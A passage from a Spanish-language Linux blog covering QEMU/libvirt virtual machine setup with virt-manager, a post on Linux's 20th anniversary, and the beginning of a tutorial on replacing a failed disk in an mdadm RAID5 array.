<tr> <td style="text-align: center;">163</td> <td>#key_file = "/etc/pki/libvirt/private/serverkey.pem"</td> <td> ---> </td> <td>key_file = "/etc/pki/libvirt/private/serverkey.pem"</td> </tr>
<tr> <td style="text-align: center;">171</td> <td>#cert_file = "/etc/pki/libvirt/servercert.pem"</td> <td> ---> </td> <td>cert_file = "/etc/pki/libvirt/servercert.pem"</td> </tr>
<tr> <td style="text-align: center;">175</td> <td>#ca_file = "/etc/pki/CA/cacert.pem"</td> <td> ---> </td> <td>ca_file = "/etc/pki/CA/cacert.pem"</td> </tr>
<tr> <td style="text-align: center;">180</td> <td>#crl_file = "/etc/pki/CA/crl.pem"</td> <td> ---> </td> <td>crl_file = "/etc/pki/CA/crl.pem"</td> </tr>
<tr> <td style="text-align: center;">240</td> <td>#max_clients = 20</td> <td> ---> </td> <td>max_clients = 2</td> </tr>
<tr> <td style="text-align: center;">248</td> <td>#min_workers = 5</td> <td> ---> </td> <td>min_workers = 1</td> </tr>
<tr> <td style="text-align: center;">259</td> <td>#max_requests = 20</td> <td> ---> </td> <td>max_requests = 3</td> </tr>
<tr> <td style="text-align: center;">265</td> <td>#max_client_requests = 5</td> <td> ---> </td> <td>max_client_requests = 1</td> </tr>
<tr> <td style="text-align: center;">274</td> <td>#log_level = 3</td> <td> ---> </td> <td>log_level = 2</td> </tr>
</tbody> </table><br />
<br />
<a name="6"><b>Configurar un puente ethernet</b></a><br />
Además de la configuración a nivel de kernel que ha realizado, precisará los siguientes paquetes:<br />
<ul><li><a href="http://www.linuxfoundation.org/collaborate/workgroups/networking/bridge">bridge-utils</a></li>
<li><a href="http://openvpn.net/">openvpn</a></li>
</ul>A continuación deberá editar el fichero de configuración de su red, <span class="Apple-style-span" style="color: blue;">/etc/conf.d/net</span>, que tendrá un aspecto similar al siguiente,<br />
<pre class="brush: shell">agd-desktop # nano /etc/conf.d/net</legend># This blank configuration will automatically use DHCP for any net.*
# scripts in /etc/init.d. To create a more complete configuration,
# please review /etc/conf.d/net.example and save your configuration
# in /etc/conf.d/net (this file :]!).
config_eth0=( "dhcp" )</pre><br />
Y deberá editarlo para dejarlo de la siguiente forma,<br />
<pre class="brush: shell">agd-desktop # nano /etc/conf.d/net</legend># This blank configuration will automatically use DHCP for any net.*
# scripts in /etc/init.d. To create a more complete configuration,
# please review /etc/conf.d/net.example and save your configuration
# in /etc/conf.d/net (this file :]!).
config_eth0=( "null" )
bridge_br0="eth0"
config_br0=( "dhcp" )
# Descomentar para desactivar dhcp e indicar los parámetros manualmente
#config_br0=( "192.168.1.20 netmask 255.255.255.0 brd 192.168.1.255" )
#routes_br0=( "default via 192.168.1.1" )
#dns_servers_br0=( "8.8.8.8 8.8.4.4" )</pre><br />
<br />
<a name="7"><b>Crear una máquina virtual mediante el Administrador de Máquinas Virtuales virt-manager</b></a><br />
Antes de iniciar el administrador de máquinas virtuales deberá iniciar el demonio <span class="Apple-style-span" style="color: blue;">libvirtd</span>. Si usted es usuario de Arch Linux, debian o gentoo deberá ejecutar<span class="Apple-style-span" style="color: blue;"> /etc/init.d/libvirtd star</span>t, mientras que si es usuario de fedora o ubuntu deberá ejecutar <span class="Apple-style-span" style="color: blue;">service libvirtd start</span>.<br />
<pre class="brush: shell">agd-desktop # /etc/init.d/libvirtd status
* Caching service dependencies ... [ ok ]
* status: stopped
agd-desktop # /etc/init.d/libvirtd start
* Service libvirtd starting
* Service libvirtd started</pre><br />
Si ha llegado a este punto, deberá poder ejecutar el Administrador de Máquinas Virtuales. Desde él podrá crear nuevas máquinas virtuales y gestionar las existentes. A continuación se hará un ligero recorrido, mediante capturas de pantalla, donde usted aprenderá a crear una nueva máquina virtual.<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgV1MfwujG7oMca7UgDWyvHJ6D-3cgr-6fjrTBW-JaqMJRBuiQ_Df_uYfTt2luGYh00luMyp6vC39N2ayeKy2GpbkKVJyXY30wdS_oqfZgZHhFTF_lZSK41JjtEUnY0jaTjs835i4RaciQ/s1600/virt-manager+Create+new+VM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="388" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgV1MfwujG7oMca7UgDWyvHJ6D-3cgr-6fjrTBW-JaqMJRBuiQ_Df_uYfTt2luGYh00luMyp6vC39N2ayeKy2GpbkKVJyXY30wdS_oqfZgZHhFTF_lZSK41JjtEUnY0jaTjs835i4RaciQ/s640/virt-manager+Create+new+VM.png" width="640" /></a></div>Ventana principal del Administrador de Máuinas Virtuales virt-manager de Red Hat. Desde se puede crear una nueva máquina virtual (botón marcado con la flecha roja), comprobar el estado de las máquinas virtuales (en este caso solo está corriendo una sola máquina virtual) e iniciar, pausar o detener las máquinas virtuales.<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyENWOm3O9Jrc30EIrKP1Gw93q_KRBAcm57Qd_yZu8S3yPTWbo7FV2R2VsNv4tFC5GkCJgh_arAbKCHZcicUdNwYRNZYeTLatTxgP3ZmK_w4c3R3qz9wiSPvY_dkNztdr7ypzfwW6Tv7k/s1600/virt-manager+Create+new+VM+-+1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="428" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyENWOm3O9Jrc30EIrKP1Gw93q_KRBAcm57Qd_yZu8S3yPTWbo7FV2R2VsNv4tFC5GkCJgh_arAbKCHZcicUdNwYRNZYeTLatTxgP3ZmK_w4c3R3qz9wiSPvY_dkNztdr7ypzfwW6Tv7k/s640/virt-manager+Create+new+VM+-+1.png" width="640" /></a></div>Asistente para crear nuevas máquinas virtuales. Le permite elegir el método de instalación e incluso importar una imagen de una maquina virtual ya creada.<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_asc8xkJJiESq2H5CSyV8WNpdiQae0m1rUb1vNZvMDRKF7CDb-tNa2APyWl-72sD_aQMt1neyTTGMIV87-lyODk0p-sVPlhpJay9VV9SA1mm6ZtJSr2NgFtIy4swqxihOUxDzhUvF_Xo/s1600/virt-manager+Create+new+VM+-+2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="441" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_asc8xkJJiESq2H5CSyV8WNpdiQae0m1rUb1vNZvMDRKF7CDb-tNa2APyWl-72sD_aQMt1neyTTGMIV87-lyODk0p-sVPlhpJay9VV9SA1mm6ZtJSr2NgFtIy4swqxihOUxDzhUvF_Xo/s640/virt-manager+Create+new+VM+-+2.png" width="640" /></a></div>En el ejemplo se instalará una máquina virtual con ubuntu 10.10, como podrá observar en la captura de pantalla.<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEhs3nQqQFBMJm7RpolcFhRON5AVOAOy3P9a6D_beDEZmK4Ed7q0P20CHg34gPVgNkD2_DfVf3ZHjTq1JmYPlaPBr_Q8HHDuxQ4MZupMSk4ieK0BUk4JyEFayPuN3065zKccfnnKaT8kI/s1600/virt-manager+Create+new+VM+-+3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="468" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEhs3nQqQFBMJm7RpolcFhRON5AVOAOy3P9a6D_beDEZmK4Ed7q0P20CHg34gPVgNkD2_DfVf3ZHjTq1JmYPlaPBr_Q8HHDuxQ4MZupMSk4ieK0BUk4JyEFayPuN3065zKccfnnKaT8kI/s640/virt-manager+Create+new+VM+-+3.png" width="640" /></a></div><div class="separator" style="clear: both; text-align: left;">En este punto podrá seleccionar los recursos a los que tendrá acceso la máquina virtual. En el ejemplo hemos otorgado 1 GB de RAM y acceso a 2 CPU.</div><br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5wgpITwqWbdFb4-yOm9VVfFqoZ1-IurxDc9CBFRfFmE4DsmnnFGpzwcTWLUKp_ZSNSD3OKaveV2kP4C_4wqReBPJ0-fjHr7-AK4CIbc0ofTTetOR4DIiIA67GbUq3k4GGGlIH-tZEheM/s1600/virt-manager+Create+new+VM+-+4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="441" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5wgpITwqWbdFb4-yOm9VVfFqoZ1-IurxDc9CBFRfFmE4DsmnnFGpzwcTWLUKp_ZSNSD3OKaveV2kP4C_4wqReBPJ0-fjHr7-AK4CIbc0ofTTetOR4DIiIA67GbUq3k4GGGlIH-tZEheM/s640/virt-manager+Create+new+VM+-+4.png" width="640" /></a></div>A continuación se pregunta por el tamaño que tendrá la imagen del sistema. En el ejemplo le hemos asignado 10 GB de espacio. Además podrá configurar la ubicación donde se guardará la imagen de la maquina virtual.<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrv6zRPv2MgX6YCEe8G29BB_OBkVLugYV9FuLJJCg9BoimF8lXuSaO_FWVELNVdbgvzIM07bxpVrWBdwxUfu0GUA45zk7NP9pDgRrw0yaoNb_7uMlniLMhGey6Rt6xouWtBXhM4C2FAC4/s1600/virt-manager+Create+new+VM+-+5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrv6zRPv2MgX6YCEe8G29BB_OBkVLugYV9FuLJJCg9BoimF8lXuSaO_FWVELNVdbgvzIM07bxpVrWBdwxUfu0GUA45zk7NP9pDgRrw0yaoNb_7uMlniLMhGey6Rt6xouWtBXhM4C2FAC4/s640/virt-manager+Create+new+VM+-+5.png" width="626" /></a></div><div class="separator" style="clear: both; text-align: left;">Por último se le presenta la configuración de la máquina virtual y además se le permite configurar la red. En este punto haremos uso del puente br0 configurado anteriormente.</div><div class="separator" style="clear: both; text-align: left;"><br />
</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvIKTXkKsTmFyaKnnGz585uitu5acvIhmMdnNrdR6QPRsgzffhnc8hp__egIRIYWUU3RVuLSAsmv_xpBaY2OkEvdMNnvJWLHwNH2fG20MHwL4G9EHfKswlWvO2hr8B6MXk2wh2Lr-ZZ9c/s1600/virt-manager+Create+new+VM+-+6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="314" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvIKTXkKsTmFyaKnnGz585uitu5acvIhmMdnNrdR6QPRsgzffhnc8hp__egIRIYWUU3RVuLSAsmv_xpBaY2OkEvdMNnvJWLHwNH2fG20MHwL4G9EHfKswlWvO2hr8B6MXk2wh2Lr-ZZ9c/s640/virt-manager+Create+new+VM+-+6.png" width="640" /></a></div><br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigjdp7-9MtXK1dZ30mjvRW7c66gPd6T4NUuyxbKeq0sBGV3FW6qog3OfVBYbWDPx5f6_BHAVuUPgZGaF4eDJEcNdhrhitPpOMWV-zuSad9hCTINxNPzYwpt2fzCCEiTKxbIzkxw81sc24/s1600/virt-manager+Create+new+VM+-+7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="314" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigjdp7-9MtXK1dZ30mjvRW7c66gPd6T4NUuyxbKeq0sBGV3FW6qog3OfVBYbWDPx5f6_BHAVuUPgZGaF4eDJEcNdhrhitPpOMWV-zuSad9hCTINxNPzYwpt2fzCCEiTKxbIzkxw81sc24/s640/virt-manager+Create+new+VM+-+7.png" width="640" /></a></div>Llegados a este punto su máquina virtual estará creada y se mostrará en la ventana principal del Administrador de Máquinas Virtuales:<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7Y4vbtTh7B84WmUBkW0urxbI6cndKiSNCpYyVSvSmGPnT68dnmBaZSwuEZDrad7uMytf5dnwhBO0rBS0yquPwUg8r6UW9o3xVfeRe8eDm-uYjZhVojCGAoVk1FSqxnzpB_Id_yKGYaxY/s1600/virt-manager+Create+new+VM+-+8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="388" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7Y4vbtTh7B84WmUBkW0urxbI6cndKiSNCpYyVSvSmGPnT68dnmBaZSwuEZDrad7uMytf5dnwhBO0rBS0yquPwUg8r6UW9o3xVfeRe8eDm-uYjZhVojCGAoVk1FSqxnzpB_Id_yKGYaxY/s640/virt-manager+Create+new+VM+-+8.png" width="640" /></a></div><br />
A continuación verá el proceso de instalación de ubuntu 10.10 en la máquina virtual recién creada.<br />
<div class="separator" style="clear: both; text-align: center;"><embed flashvars="host=picasaweb.google.com&hl=es&feat=flashalbum&RGB=0x000000&feed=https%3A%2F%2Fpicasaweb.google.com%2Fdata%2Ffeed%2Fapi%2Fuser%2FAgD.guillen%2Falbumid%2F5594104583202132977%3Falt%3Drss%26kind%3Dphoto%26hl%3Des" height="480" pluginspage="http://www.macromedia.com/go/getflashplayer" src="https://picasaweb.google.com/s/c/bin/slideshow.swf" type="application/x-shockwave-flash" width="640"></embed></div><br />
<br />
<a name="8"><b>Gestionar las máquinas virtuales mediante el Administrador de Máquinas Virtuales virt-manager</b></a><br />
Si selecciona una máquina virtual y pulsa sobre el icono "Abrir", accederá a la ventana principal de configuración de la máquina virtual.<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFyzFLC0wTJlyGPKmy6YDy0BV8og6_Khi4hLg92hWUzc3xbMeRrXFxXySCSw9E3bvUGbxQYx709AmZt86SGCyouQaGEGUpuxI_6664aSyYEhY9NnkKxXcM-DIW2bevSe4NDUEOj3fWtL4/s1600/virt-manager+Config+VM+-+1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="388" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFyzFLC0wTJlyGPKmy6YDy0BV8og6_Khi4hLg92hWUzc3xbMeRrXFxXySCSw9E3bvUGbxQYx709AmZt86SGCyouQaGEGUpuxI_6664aSyYEhY9NnkKxXcM-DIW2bevSe4NDUEOj3fWtL4/s640/virt-manager+Config+VM+-+1.png" width="640" /></a></div><br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyJyY-3-pwKF_9BZWwcjZ0Pw3BC2Glwr_wKIsSBd3m0f60gS1FVomRUSFNWQjVWKo07ntkM-NC89RZ-3ukOAEg0pTXQ_V5brm5fcUqsMOg3qpwA6p1zFurybyoeoaz5jEbg9eHY7bu4T8/s1600/virt-manager+Config+VM+-+2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="499" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyJyY-3-pwKF_9BZWwcjZ0Pw3BC2Glwr_wKIsSBd3m0f60gS1FVomRUSFNWQjVWKo07ntkM-NC89RZ-3ukOAEg0pTXQ_V5brm5fcUqsMOg3qpwA6p1zFurybyoeoaz5jEbg9eHY7bu4T8/s640/virt-manager+Config+VM+-+2.png" width="640" /></a></div><br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVy_uQy4woutKDDPA9norqVl9sdvhtD5Z7plrRhYTgaYPWlET09fIj_-uLGInyjMA4wEDwzm7mfuuOUCOsaLVz-vbSjQFZ4LKwQTROD9wrgmga3IvjEktdmOk-4kPp8JLFgXS6oKHvcLE/s1600/virt-manager+Config+VM+-+3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVy_uQy4woutKDDPA9norqVl9sdvhtD5Z7plrRhYTgaYPWlET09fIj_-uLGInyjMA4wEDwzm7mfuuOUCOsaLVz-vbSjQFZ4LKwQTROD9wrgmga3IvjEktdmOk-4kPp8JLFgXS6oKHvcLE/s640/virt-manager+Config+VM+-+3.png" width="558" /></a></div>Desde la opción "Processor" podrá configurar a cuantas CPU podrá tener acceso la máquina virtual. Además podrá indicar que tipo de procesador deberá emular la máquina virtual e incluso activar/desactivar flags especificas.<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXp4ZiHp9P3gC-FjDpZU-w4WjB4dIUZgNfIMWca07-57pyNfpYyIC3tRXRiuNXmp9QAqrNWVv4E588f1syefMAty92GMVnUiu3tM59yu-LgScLdaP_IlaA8LPL4jGlOIWCxJToSTcky-Q/s1600/virt-manager+Config+VM+-+4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXp4ZiHp9P3gC-FjDpZU-w4WjB4dIUZgNfIMWca07-57pyNfpYyIC3tRXRiuNXmp9QAqrNWVv4E588f1syefMAty92GMVnUiu3tM59yu-LgScLdaP_IlaA8LPL4jGlOIWCxJToSTcky-Q/s640/virt-manager+Config+VM+-+4.png" width="558" /></a></div>Desde la opción "Boot Options" podrá definir si desea que la máquina virtual se inicie junto con el sistema, algo muy útil si usted va a configurar una maquina virtual que actuará a como servidor web, correo, p2p... Además podrá definir desde donde quiere arrancar la máquina virtual, CD, HDD...<br />
<br />
Al pulsar sobre botón "Agregar hardware" se abrirá una ventana desde donde podrá seleccionar que dispositivo quiere añadir a su máquina virtual, como por ejemplo un segundo disco duro virtual, acceso a un dispositivo usb...<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim9sWy8AR-MtyKuzE05uedk6rHaLi8kTigPWfzOxuJsATc2CaujcOs5a7KG0aLlZkzHBgTfNFq0cT1zdnrsyebqOBsFIE0CFlTh3ds2DQdoI16XnqWviAkMty88JeG5ejEyyJHfMmNn6w/s1600/virt-manager+Config+VM+-+5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="430" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim9sWy8AR-MtyKuzE05uedk6rHaLi8kTigPWfzOxuJsATc2CaujcOs5a7KG0aLlZkzHBgTfNFq0cT1zdnrsyebqOBsFIE0CFlTh3ds2DQdoI16XnqWviAkMty88JeG5ejEyyJHfMmNn6w/s640/virt-manager+Config+VM+-+5.png" width="640" /></a></div><br />
Si usted va a correr un entorno gráfico en su maquina virtual, como en este ejemplo, le será muy útil agregar un nuevo dispositivo de entrada (<i>Input</i>) de tipo <i>Tableta Gráfica USB EvTouch</i> de esta forma el puntero del ratón al entrar en la ventana de la máquina virtual se comportará como si estuviese dentro de la máquina virtual no siendo necesario hacer clic sobre la máquina virtual para tener el control y pulsar las teclas de escape para regresar a la máquina anfitrión.<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgy-yGcFTcC_N8B589KnHBt9iHoG-ZmVmZ2kYFizsXqQDZtDJlIwJWLtfU84R1SGZj0Y9juhgqbbgt91n9zRFbSOWa-nbtpjb-Z6TsSp9lxXcJJSIrU4ahe_mvJrCftw0jGEtUhE5zCnPo/s1600/virt-manager+Config+VM+-+6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="388" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgy-yGcFTcC_N8B589KnHBt9iHoG-ZmVmZ2kYFizsXqQDZtDJlIwJWLtfU84R1SGZj0Y9juhgqbbgt91n9zRFbSOWa-nbtpjb-Z6TsSp9lxXcJJSIrU4ahe_mvJrCftw0jGEtUhE5zCnPo/s640/virt-manager+Config+VM+-+6.png" width="640" /></a></div><br />
<a name="9"><b>Ampliando las posibilidades de nuestras máquinas virtuales QEMU</b></a><br />
<a name="9-1"><b>1.- Activar el sonido en las máquinas virtuales</b></a><br />
Si bien desde virt-manager se pueden modificar muchos parámetros y añadir acceso a las tarjetas de sonido, es necesario modificar la configuración de QEMU para poder acceder a este servicio. Para ello deberá editar <span class="Apple-style-span" style="color: blue;">/etc/libvirt/qemu.conf</span> y cambiar el siguiente parámetro:<br />
<table align="center"><tbody>
<tr> <td style="text-align: center;"><div style="text-align: center;"> Línea </div></td> <td style="text-align: center;"><div style="text-align: center;"> Antes </div></td> <td style="text-align: center;"><div style="text-align: center;"> Cambiar a </div></td> <td style="text-align: center;"><div style="text-align: center;"> Después </div></td> </tr>
<tr> <td style="text-align: center;"><div style="text-align: center;">184</div></td> <td><div style="text-align: center;">#vnc_allow_host_audio = 0</div></td> <td><div style="text-align: center;"> ---> </div></td> <td><div style="text-align: center;">vnc_allow_host_audio = 1</div></td> </tr>
</tbody></table><br />
<a name="9-2"><b>2.- Mejorar el rendimiento gráfico</b></a><br />
<blockquote class="pullquote">El driver gráfico que ofrece mayor rendimiento es <b>vmvga</b></blockquote>Las últimas versiones de virt-manager permiten cambiar el tipo de driver gráfico que desea usar en sus máquinas virtuales sin embargo no permiten cambiar la cantidad de memoria de vídeo disponible para la máquina virtual. Por defecto la cantidad de memoria de vídeo asignada es de 9 MB, si desea ampliar esta cantidad deberá editar el fichero xml de configuración de la máquina virtual. Estos ficheros se localizan en <span class="Apple-style-span" style="color: blue;">/etc/libvirt/qemu/</span><br />
<pre class="brush: shell">agd-desktop # ls /etc/libvirt/qemu
autostart gentoo-server.xml ubuntu-10.10.xml
Fedora-GNOME3-Alpha.xml LinEx.xml Windows7.xml
gentoo-CLEAN-noX-noSERVER.xml networks WinXP.xml</pre><br />
<blockquote class="pullquote" style="float: left;">El valor de memoria de vídeo debe indicarse en <b>KB</b></blockquote>En siguiente ejemplo se ampliará la cantidad de memoria de vídeo disponible por la máquina virtual <i>makeinstall</i> de 9 MB a 256 MB. Para ello se editará su fichero de configuración (<span class="Apple-style-span" style="color: blue;">/etc/libvirt/qemu/makeinstall.xml</span>) y se sustituirá el siguiente segmento:<br />
<pre class="brush: shell">agd-desktop # nano /etc/libvirt/qemu/makeinstall.xml <video>
<model type='cirrus' vram='9216' heads='1'/>
<address type='pci' domain='0x0000' bus='0x00' slot='0x02' function='0x0'/>
</video></pre><br />
por:<br />
<pre class="brush: shell">agd-desktop # nano /etc/libvirt/qemu/makeinstall.xml<video>
<model type='vmvga' vram='131072' heads='1'/>
<address type='pci' domain='0x0000' bus='0x00' slot='0x02' function='0x0'/>
</video></pre><br />
<a name="9-3"><b>3.- Activar aceleración 2D/3D</b></a><br />
Para activar la aceleración gráfica deberá añadir <span class="Apple-style-span" style="color: blue;"><acceleration accel2d='yes' accel3d='yes'/> </span>justo debajo de <span class="Apple-style-span" style="color: blue;"><model .... /></span>, quedando:<br />
<pre class="brush: shell">agd-desktop # nano /etc/libvirt/qemu/makeinstall.xml <video>
<model type='vmvga' vram='131072' heads='1'/>
<acceleration accel2d='yes' accel3d='yes'/>
<address type='pci' domain='0x0000' bus='0x00' slot='0x02' function='0x0'/>
</video></pre><br />
Si desea aprender más sobre los ficheros de configuración de las máquinas virtuales puede informarse en <a href="http://libvirt.org/formatdomain.html">libvirt Virtualization API - Domain XML format</a>.Anonymoushttp://www.blogger.com/profile/09387646684121227737noreply@blogger.com6tag:blogger.com,1999:blog-507892079964167031.post-12808638206125215052011-04-07T14:05:00.003+02:002011-06-24T00:02:23.624+02:0020 aniversario de Linux<a href="http://www.linuxfoundation.org/20th" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;" target="_blank"><img alt="I'll be celebrating 20 years of Linux with
The Linux Foundation!" border="0" src="http://www.linuxfoundation.org/20th/images/lf_linux20_webbadge.png" /></a><br />
Comienzan las celebraciones del <a href="http://www.linuxfoundation.org/20th/">20 Aniversario de Linux</a>. Ponerle una fecha exacta a tal acontecimiento es difícil, ya que <a href="http://www.cs.helsinki.fi/u/torvalds/">Linus Benedict Torvalds</a> comenzó a trabajar en Linux en abril de 1991. El 25 de agosto de 1991 mandó el histórico mensaje al grupo de noticias <a href="http://groups.google.com/group/comp.os.minix">comp.os.minix</a>. El 17 de septiembre de 1991 se liberó la primera versión del kernel Linux, <a href="http://www.kernel.org/pub/linux/kernel/Historic/linux-0.01.tar.bz2">kernel 0.01</a>; sin embargo tuvieron que pasar casi tres años para que el kernel se estabilizara con la <a href="http://www.kernel.org/pub/linux/kernel/v1.0/linux-1.0.tar.bz2">versión 1.0.0</a> el 13 de marzo de 1994.<a name='more'></a><br />
<br />
Traducción aproximada del <a href="http://groups.google.com/group/comp.os.minix/msg/b813d52cbc5a044b?pli=1">mensaje original de Linus</a>:<br />
<blockquote>Hola a todos los que ahí fuera usan MINIX - Estoy haciendo un sistema operativo (gratuito) para el 386(486) AT y clones (sólo como hobby, no será grande y profesional como GNU). Lo he estado haciendo desde abril y parece que empieza a estar preparado. Me gustaría realimentarlo mediante lo que a la gente le gusta/disgusta de MINIX, ya que mi sistema operativo se asemeja a él en algunos aspectos (el mismo diseño físico del sistema de ficheros debido a razones prácticas). Actualmente, he incluido el bash(1.08) y el gcc(1.40), y la cosa parece que funciona. Esto quiere decir que tendré algo funcional en unos pocos meses, y me gustaría saber que características querría la mayoría de la gente que tenga. Cualquier sugerencia es bienvenida, pero no prometo que sea implementada :-) Linus (torvalds@kruuna.helsinki.fi) PD: si - está libre de cualquier código de minix, y tiene un fs multi-hilo. NO es portable (usa las tareas del 386, el switching, etc.), y, probablemente, nunca soportará discos duros distintos a los AT, es todo lo que tengo :-(.</blockquote><br />
Os dejo con una <i>línea temporal</i>, y un vídeo, elaborada por <a href="http://www.linuxfoundation.org/20th/">The Linux Foundation</a> para la ocasión:<br />
<div class="separator" style="clear: both; text-align: center;"><a href="http://www.linuxfoundation.org/20th/images/linux20infographic.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="512" src="http://www.linuxfoundation.org/20th/images/linux20infographic.png" width="640" /></a></div><div style="text-align: center;"><br />
</div><div style="text-align: center;"><iframe allowfullscreen="" frameborder="0" height="390" src="http://www.youtube.com/embed/5ocq6_3-nEw" title="YouTube video player" width="640"></iframe></div>Anonymoushttp://www.blogger.com/profile/09387646684121227737noreply@blogger.com1tag:blogger.com,1999:blog-507892079964167031.post-53163906425197143642011-04-07T11:27:00.003+02:002011-06-27T23:07:40.574+02:00Reconstruir raid5 tras fallo en discoAl fallar un disco en un raid5, se debe eliminar el disco averiado del raid y reemplazarlo por uno nuevo. En caso de que su raid tuviese algún disco de reserva (spare) la integridad de sus datos no estará comprometida, en caso contrario deberá sustituir el disco dañado lo más rápido posible para evitar posibles pérdidas de dato en caso de fallo de un nuevo disco. En este tutorial aprenderá a eliminar el disco averidado del raid y a añadir un nuevo disco.<br />
<a name='more'></a><fieldset class="fieldset-bordertb"><legend class="fieldset-legendtb">Tabla de contenidos</legend><ul><li><a href="#1">Comprobando el estado del raid</a></li>
<li><a href="#2">Eliminar el disco averiado del raid</a></li>
<li><a href="#3">Preparar el nuevo disco</a></li>
<li><a href="#4">Añadir el disco nuevo al raid</a></li>
</ul></fieldset><br />
<a name="1"><b>Comprobando el estado del raid</b></a><br />
Tras recibir la alerta de fallo del raid, lo primero que debe hacer es verificar que es lo que está pasando. Para ello tan solo debe consultar el estado del raid con <span class="Apple-style-span" style="color: blue;">mdadm --detail /dev/mdX</span>:<br />
<pre class="brush: shell">agd-desktop # mdadm --detail /dev/md0
/dev/md0:
Version : 1.2
Creation Time : Wed Sep 22 17:02:27 2010
Raid Level : raid5
Array Size : 2930060288 (2794.32 GiB 3000.38 GB)
Used Dev Size : 1465030144 (1397.16 GiB 1500.19 GB)
Raid Devices : 3
Total Devices : 4
Persistence : Superblock is persistent
Update Time : Tue Feb 15 00:45:32 2011
State : clean, degraded
Active Devices : 3
Working Devices : 3
Failed Devices : 1
Spare Devices : 0
Layout : left-symmetric
Chunk Size : 512K
Name : agd-desktop:0 (local to host agd-desktop)
UUID : 2b33bce9:f30571d8:efe03c61:898a4e57
Events : 142
Number Major Minor Raid Device State
1 8 33 1 active sync /dev/sdc1
2 8 49 2 active sync /dev/sdd1
4 8 65 3 spare rebuilding /dev/sdf1
3 8 17 - faulty spare</pre><br />
Como podemos ver, tenemos un raid5 formado por tres discos más un cuarto de reserva (spare). Debido a un fallo actualmente el raid está degrado debido a un fallo de uno de los discos. El disco averiado ha sido marcado automáticamente por mdadm, el disco de reserva a entrado a formar parte del raid y se está reconstruyendo el conjunto.<br />
<br />
<a name="2"><b>Eliminar el disco averiado del raid</b></a><br />
Para eliminar el disco averiado, tan solo ha de ejecutar <span class="Apple-style-span" style="color: blue;">mdadm --remove /dev/mdX /dev/sdYX</span>. En este caso, el disco averiado es <span class="Apple-style-span" style="color: #666666;">/dev/sde</span>, por lo que debemos ejecutar:<br />
<pre class="brush: shell">agd-desktop # mdadm --remove /dev/md0 /dev/sde1
mdadm: hot removed /dev/sde1 from /dev/md0</pre><br />
Una vez eliminado, al hacer una consulta sobre el estado del raid deberá obtener algo similar a:<br />
<pre class="brush: shell">agd-desktop # mdadm --detail /dev/md0
/dev/md0:
Version : 1.2
